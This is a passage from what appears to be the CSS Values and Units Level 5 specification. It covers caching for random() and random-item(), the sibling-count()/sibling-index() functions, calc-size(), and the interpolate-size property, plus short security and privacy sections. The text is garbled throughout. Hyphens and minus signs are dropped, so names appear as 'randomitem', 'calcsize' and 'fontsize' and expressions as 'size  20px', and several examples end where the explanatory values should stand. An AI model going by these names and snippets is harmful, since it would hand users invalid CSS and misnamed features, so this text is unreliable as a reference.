Note: The <randomcachingoptions> argument is required in randomitem(), but optional in random(), both for parsing reasons (it’s impossible to tell whether randomitem(foo, bar, baz) has three <declarationvalue> arguments or two and a <randomcachingoptions> argument), and because accidentally associating the random generation of randomitem() functions together is much easier to do accidentally, since only the number of arguments is used to distinguish instances.
The remaining arguments are arbitrary sequences of CSS values. The randomitem() function resolves to one of these sequences, chosen uniformly at random.
The randomitem() function is an arbitrary substitution function, like var().

So long as randomitem() itself (and any other arbitrary substitution functions) is syntactically valid, the entire property is assumed to be valid at parse time.

randomitem() is substituted with whatever value it resolves to at computed value time when you’d substitute a var(), so children all inherit the same resolved value.

If the substituted value ends up making the property invalid, the property’s value becomes the guaranteedinvalid value.
Define arbitrary substitution function, probably over in Variables, since we have several upcoming functions leaning on this functionality.
Since randomitem() is var()like, we probably want to restrict it to only be usable in properties. (This is likely something we want to apply to all such functions.) Tho random() is a fundamentally different kind of value, we probably want to restrict it as well, for thematic consistency.
8.3. Generating/Caching Random Values: the <randomcachingoptions> value
In a programming language like JavaScript,
there’s a clear temporal ordering to code,
so you can tell exactly when something like a call to Math.random()
is evaluated.
You can also store the results in a variable,
making it clear when you’re reusing a single random value in multiple places,
versus using a distinct random value in each location.
CSS, on the other hand, is a declarative language (code is not "executed" in any particular order, nor is there any control over how many times something is "executed"); it makes it very easy to apply identical styles to multiple elements but difficult to specify distinct values for each of them (making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied to or to distinct values on each); and it has very limited "variable" functionality (making it difficult to intentionally reuse a particular randomlygenerated value in several places).
To resolve these issues, the random() and randomitem() functions are defined to generate random values under the following caching semantics:

Each instance of random() or randomitem() in a stylesheet specifies a randomcaching key. Two instances of either function must resolve to identical values if their randomcaching keys are identical; they must resolve to distinct values if they’re different.
("Distinct" here means generated by a fresh random operation; this might coincidentally result in the same value as another random operation.)

For random(), the randomcaching key is a tuple of:

The used value of the minimum calculation.

The used value of the maximum calculation.

The used value of the step calculation, if present, or null otherwise.

The <dashedident> part of the <randomcachingoptions>, if present, or null otherwise.

If perelement is specified in the <randomcachingoptions>, a unique value per element or pseudoelement the function appears in.


For randomitem(), the randomcaching key is a tuple of:

The number of arguments to the function.

The <dashedident> part of the <randomcachingoptions>, if present, or null otherwise.

If perelement is specified in the <randomcachingoptions>, a unique value per element or pseudoelement the function appears in.

The "unique value per element or pseudoelement" must have the same lifetime as a JavaScript reference to the element (or to the originating element + sufficient additional info to uniquely identify the pseudoelement). Elements in separate documents (including across refreshes of the same page, which produces distinct documents with distinct elements) should have distinct unique values. (This is not strictly required, to allow for pseudorandom generation of these values, but uniqueness should be likely enough that authors cannot depend on elements having the same values across documents.)
Additionally, the random generation method should generate distinct values for the same operation when invoked on different documents (including refreshes of the same page).
.randomsquare{ width : random ( 100 px , 500 px ); height : random ( 100 px , 500 px ); }
The randomcaching keys for both functions are identical:
.
This means that both will resolve to the exact same value,
guaranteeing a square element
with a size somewhere between 100px and 500px.
Additionally, every .randomsquare element
will have the same size.
On other hand, in this stylesheet:
.randomrect{ width : random ( 100 px , 500 px ); height : random ( x, 100 px , 500 px ); }
The randomcaching keys are distinct between the two functions:
the function in width has
,
while the function in height has
.
This means the two functions will resolve to distinct random values, making it very unlikely for the element to be square. However, every element matching .randomrect will still have the same random size.
Changing any aspect of the function also alters this key. The following two declarations are similarly distinct, resulting in the width and height having no connection to each other:
.randomrect2{ width : random ( 100 px , 500 px ); height : random ( 100 px , 500 px , by50 px ); }
But so long as the used values end up identical, two functions that look distinct might end up identical. For example, in the following code:
.randomsquare2{ fontsize : 16 px ; width : random ( 160 px , 320 px ); height : random ( 10 em , 20 em ); }
The two functions superficially look different,
but after the lengths are fully resolved
they end up with identical randomcaching keys;
each is
,
so actually the widths and heights will end up always identical.
For example, in:
.foo{ width : random ( 100 px , 500 px ); }
Multiple elements matching .foo will end up with the same random width.
But in:
.foo{ width : random ( perelement, 100 px , 500 px ); }
Every element matching .foo will get its own unique width.
Note that this causes the value to be unique per element, not per value necessarily. For example, in:
.randomsquares{ width : random ( perelement, 100 px , 500 px ); height : random ( perelement, 100 px , 500 px ); }
Every element matching .randomsquares will get a distinct random value,
but that value will be the same for width and height on a given element,
making the element square.
This is because in both properties
the randomcaching key is
,
so both functions will resolve to the same length on a single element.
This makes random values in custom properties act more predictably. The preceding code could also be written as:
.foo{ size : random ( perelement, 100 px , 500 px ); width : var ( size); height : var ( size); }
9. Tree Counting Functions: the siblingcount() and siblingindex() notations
The siblingcount() functional notation represents, as an <integer>, the total number of child elements in the parent of the element on which the notation is used.
The siblingindex() functional notation represents, as an <integer>, the index of the element on which the notation is used among the children of its parent. Like :nthchild(), siblingindex() is 1indexed.
Note: The counter() function can provide similar abilities as siblingindex(), but returns a <string> rather than an <integer>.
When used on a pseudoelement, these both resolve as if specified on its ultimate originating element.
Note: Like the rest of CSS (other than selectors), siblingcount() and siblingindex() operate on the flat tree.
Note: These functions may, in the future, be extended to accept an of <selector> argument, similar to :nthchild(), to filter on a subset of the children.
10. Calculating With Intrinsic Sizes: the calcsize() function
When transitioning between two definite sizes, or slightly adjusting an existing definite size, calc() works great: halfway between 100% and 20px is calc(50% + 10px), 20% with a margin of 15px on either side is calc(20% + 15px * 2), etc.
But these operations are no longer possible if the size you want to adjust or transition to/from is an intrinsic size, for both practical and backwardcompatibility reasons. The calcsize() function allows math to be performed on intrinsic sizes in a safe, welldefined way.
<calcsize () > =calcsize ( <calcsizebasis>, <calcsum>) <calcsizebasis> =[ <intrinsicsizekeyword>  <calcsize () >  any  <calcsum>]
The <intrinsicsizekeyword> production matches any intrinsic size keywords allowed in the context. For example, in width, it matches auto, mincontent, stretch, etc.
Why can calcsize() be nested?
Allowing calcsize() as the basis argument means that authors can use a variable as the basis (like calcsize(var(foo), size + 20px)) and it will always work as long as the variable was originally valid for the property.
Doing the same with just calc() doesn’t work  for example, if you have foo: calcsize(mincontent, size + 20px), or even just foo: mincontent, then calc( (var(foo)) + 20px ) fails.
The nesting is simplified away during interpolation, and at usedvalue time, so the basis always ends up as a simple value by the time interpolation and other effects occur; see § 10.1 Simplifying calcsize().
The first argument given is the calcsize basis, and the second is the calcsize calculation. For either argument, if a <calcsum> is given, its type must match <lengthpercentage>, and it must resolve to a <length>.
Within the calcsize calculation, if the calcsize basis is not any, the keyword size is allowed. This keyword is a <length>, and resolves at used value time.
calcsize() represents an intrinsic size. It is specifically not a <length>; any place that wants to accept a calcsize() must explicitly include it in its grammar.
Why not just allow intrinsic keywords in calc()?
In theory, rather than introducing calcsize(), we could have defined calc(auto * .5) to be valid, allowing interpolation to work as normal.
This has the minor issue that mixing keywords still wouldn’t be allowed, but it wouldn’t be as obvious (that is, calc((mincontent + maxcontent)/2) looks reasonable, but would be disallowed).
The larger issue, tho, is that this wouldn’t allow us to smoothly transition percentages. calc(50%) is only half the size of calc(100%) when percentages are definite in the context; if they’re not, the two values will usually be the same size (depending on the context, either 0px or autosized).
Using a new function that explicitly separates the size you’re calculating with from the calculation itself lets us get smooth interpolation in all cases.
An additional consideration is that there are many effects, some small and some large, that depend on whether an element is intrinsically sized or definite. Using calc() would mean that the answer to the question "is the element intrinsicallysized" can have one answer in the middle of a transition ("yes", for calc(mincontent * .2 + 20px * .8))), but a different answer at the end of the transition ("no", for calc(20px)), causing the layout to jump at the end of an otherwisesmooth transition.
(This is similar to the stackinglayer changes that can occur when animating from opacity:1 to opacity: 0; any non1 value forces a stacking context. With opacity you can get around this by animating to .999, which is visually indistinguishable from 1 but forces a stacking context. It’s not as reasonable to ask people to animate to calc(auto * .0001) to ensure it retains its intrinsicness.)
Again, using a new function that identifies itself as being inherently an intrinsic size, like calcsize(auto, 20px), means we can maintain stable layout behaviors the entire time, even when the actual size is a definite length.
10.1. Simplifying calcsize()
Similar to math functions, at both specified value and computed value times the calcsize calculation (and the calcsize basis, if it’s a <calcsum>) are simplified to the extent possible, as defined in CSS Values 4 § 10.10.1 Simplification.
 If the calcsize basis is a calcsize() function itself

The calcsize basis of the outer function is replaced with that of the inner function, and the inner function’s calcsize calculation is substituted into the outer function’s calcsize calculation.
 Otherwise, if the calcsize basis is a <calcsum> whose type matches <length> (no percentage present)

Replace the basis with any, and the original basis is substituted into the calcsize calculation.
 Otherwise, if the calcsize basis is any other <calcsum> (contains a percentage)

Replace the basis with 100% and the original basis is depercentified, then substituted into the calcsize calculation.
(The above is performed recursively, if necessary.)
If any substitute into a calcsize calculation returns failure, the entire operation immediately returns failure.
Note: After canonicalization, a calcsize() function will only have a calcsize basis that’s a keyword, or the value 100%.
Why are percentages simplified in this way?
This percentage simplification ensures that transitions work linearly.
For example, say that 100% is 100px, for simplicity.
If you transitioned from `calcsize(100px, size * 2)` (resolves to 200px) to `calcsize(50%, size  20px)` (resolves to 30px) by interpolating both the arguments, then at the halfway point you’d have `calcsize(75px, size * 2 * .5 + (size  20px) * .5)` (resolves to 102.5px), which is *not* halfway between 30 and 200 (that would be 115px). Interpolating one argument, then substituting it into another calculation and interpolating that one too, generally gives quadratic interpolation behavior.
Instead, we substitute the basis arg into the calculation arg, so you get `calcsize(percentage, 100px * 2)` and `calcsize(percentage, (size * .5)  20px)`, and when interpolated, at the halfway point you get `calcsize(percentage, 100px * 2 * .5 + ((size * .5)  20px) * .5)`, which does indeed resolve to 115px, as expected. Other points in the transition are similarly linear.

Replace every instance of a <percentagetoken> in calc with (size * N), where N is the percentage’s value divided by 100. Return calc.
Note: For example, 50% + 20px becomes (size * .5) + 20px.

If calc doesn’t have the size keyword in it, do nothing.

Otherwise, replace every instance of the size keyword in calc with insertion value, wrapped in parentheses.

If this substitution would produce a value larger than an UAdefined limit, return failure.
Note: This is intentionally identical to the protection against substitution attacks defined for variable substitution; see CSS Variables 1 § 3.3 Safely Handling OverlyLong Variables. However, the usecases for very long calcsize() values are much less than for long custom properties, so UAs might wish to impose a smaller size limit.
10.2. Resolving calcsize()
A calcsize() is treated, in all respects, as if it were its calcsize basis (with any acting as an unspecified definite size).
When actually performing layout calculations, however, the size represented by its calcsize basis is modified to be the value of its calcsize calculation, with the size keyword evaluating to the calcsize basis’s original size.
(If the calcsize basis is any, the calcsize() is a definite length, equal to its calcsize calculation.)
When evaluating the calcsize calculation, if percentages are not definite in the given context, they resolve to 0px. Otherwise, they resolve as normal.
(A percentage in the calcsize basis is treated differently; simplification moves the percentage into the calcsize calculation and replaces it with size references. The calcsize basis then becomes 100%, behaving as whatever 100% would normally do in that context, including possibly making a property behave as auto, etc.)
Percentages in the calculation, on the other hand, are resolved to 0 when indefinite to avoid making the calcsize() potentially act in two different ways; there are some cases where a mincontent size will cause different layout effects than a 100% size, and so a calcsize() has to masquerade as one or the other.
10.3. Interpolating calcsize()
Two calcsize() functions can be interpolated if (after being canonicalized for interpolation):
 Either function returned failure from being canonicalized for interpolation

The values cannot be interpolated.
 Both calcsize basises are identical

The result’s calcsize basis is the that basis value.
 Either calcsize basis is any

The result’s calcsize basis is the nonany basis.
The result’s calcsize calculation is the interpolation of the two input calcsize calculations.
Note: These interpolation restrictions ensure that a calcsize() doesn’t try to act in two different ways at once; there are some cases where a mincontent and maxcontent would produce different layout behaviors, for example, so the calcsize() has to masquerade as one or the other. This, unfortunately, means you can’t transition between keywords, like going from auto to mincontent.
Some calcsize() values can also be interpolated with a <lengthpercentage> or an <intrinsicsizekeyword>. To determine whether the values can interpolate and what the interpolation behavior is, treat the noncalcsize() value as calcsize(any, value ) if the value is a <calcsum> or as calcsize( value , size) otherwise, and apply the rules above.
details{ transition : height1 s ; } details::detailscontent{ display : block; } details[ open] ::detailscontent{ height : auto; } details:not ([ open]) ::detailscontent{ height : calcsize ( any, 0 px ); }
This will implicitly interpolate
between calcsize(auto, size) and calcsize(any, 0px).
Half a second after opening the details
,
the ::detailscontent wrapper’s height will be calcsize(auto, size * .5),
half its open size;
thruout the transition it’ll smoothly animate its height.
Note: calcsize() is designed such that transitioning to/from calcsize(any, definite length) will always work smoothly, regardless of how the other side of the transition is specified.
Note: This "upgrade a plain value into a calcsize()" behavior puts <lengthpercentage> values into the calcsize calculation. This allows values with percentages to interpolate with intrinsic size keywords, but does mean that when a percentage isn’t definite, it’ll resolve to zero. If you want to resolve to the actual size the percentage would make the element, explicitly write a calcsize() with the value in its calcsize basis, like calcsize(50%, size).
10.4. Interpolating sizing keywords: the interpolatesize property
Note: If we had a time machine, this property wouldn’t need to exist. It exists because many existing style sheets assume that intrinsic sizing keywords (such as auto, mincontent, etc.) cannot animate. Therefore this property exists to allow style sheets to choose to get the expected behavior. Specifying interpolatesize: allowkeywords on the root element chooses the new behavior for the entire page. We suggest doing this whenever compatibility isn’t an issue.
Name:  interpolatesize 

Value:  numericonly  allowkeywords 
Initial:  numericonly 
Applies to:  all elements 
Inherited:  yes 
Percentages:  n/a 
Computed value:  as specified 
Canonical order:  per grammar 
Animation type:  not animatable 
 numericonly
 An <intrinsicsizekeyword> cannot be interpolated.
 allowkeywords
 Two values can be interpolated if one of them is an <intrinsicsizekeyword> and the other is a <lengthpercentage>. This is done by treating the <intrinsicsizekeyword> keyword as though it is calcsize(keyword, size) and applying the rules in § 10.3 Interpolating calcsize(). In other cases, an <intrinsicsizekeyword> still cannot be interpolated.
The value of interpolatesize that matters is the computed value on the element at the time the animation might start. For CSS transitions, this means the value in the afterchange style. An animation is not stopped or started later because interpolatesize changes.
Acknowledgments
Firstly, the editors would like to thank all of the contributors to the previous level of this module.
Secondly, we would like to acknowledge L. David Baron, Mike Bremford, and Sebastian Zartner for their comments and suggestions, which have improved Level 5.
Changes
Changes since the First Public Working Draft include:

Incorporated the definition of <position>, extending it to handle flowrelative positions. (Issue 549)
Additions Since Level 4
Additions since CSS Values and Units Level 4:

Added the “commaupgrading” rules for functional notations.

Defined several <urlmodifier>s for <url> functions.

Extended <position> to handle flowrelative positions. (Issue 549)

Added the *progress() family of functions, to represent interpolation progress between two values.

Added the *mix() family of functions, to represent actually interpolating between two values.

Added firstvalid(), to allow CSS’s forwardcompatible parsing behavior (drop invalid things, go with what’s left) to be used with custom properties and other contexts where validity isn’t known until after parsing.

Added the random() and randomitem() functions.

Added the siblingcount() and siblingindex() functions.

Added the calcsize() function, and the related interpolatesize property.
Security Considerations
This specification allows CSS <url> values to have various aspects of their request modified.
Although this is new to CSS,
every ability is already present in img
or link
, as well as via JavaScript.
The attr() function allows HTML attribute values to be used in CSS values, potentially exposing sensitive information that was previously not accessible via CSS. See § 7.4.3 Security.
Privacy Considerations
This specification defines units that expose the user’s screen size and default font size, but both are trivially observable from JS, so they do not constitute a new privacy risk. Similarly the mediaprogress() notation exposes information about the user’s environment and preferences that are already observiable via media queries.
The attr() function allows HTML attribute values to be used in CSS values, potentially exposing sensitive information that was previously not accessible via CSS. See § 7.4.3 Security.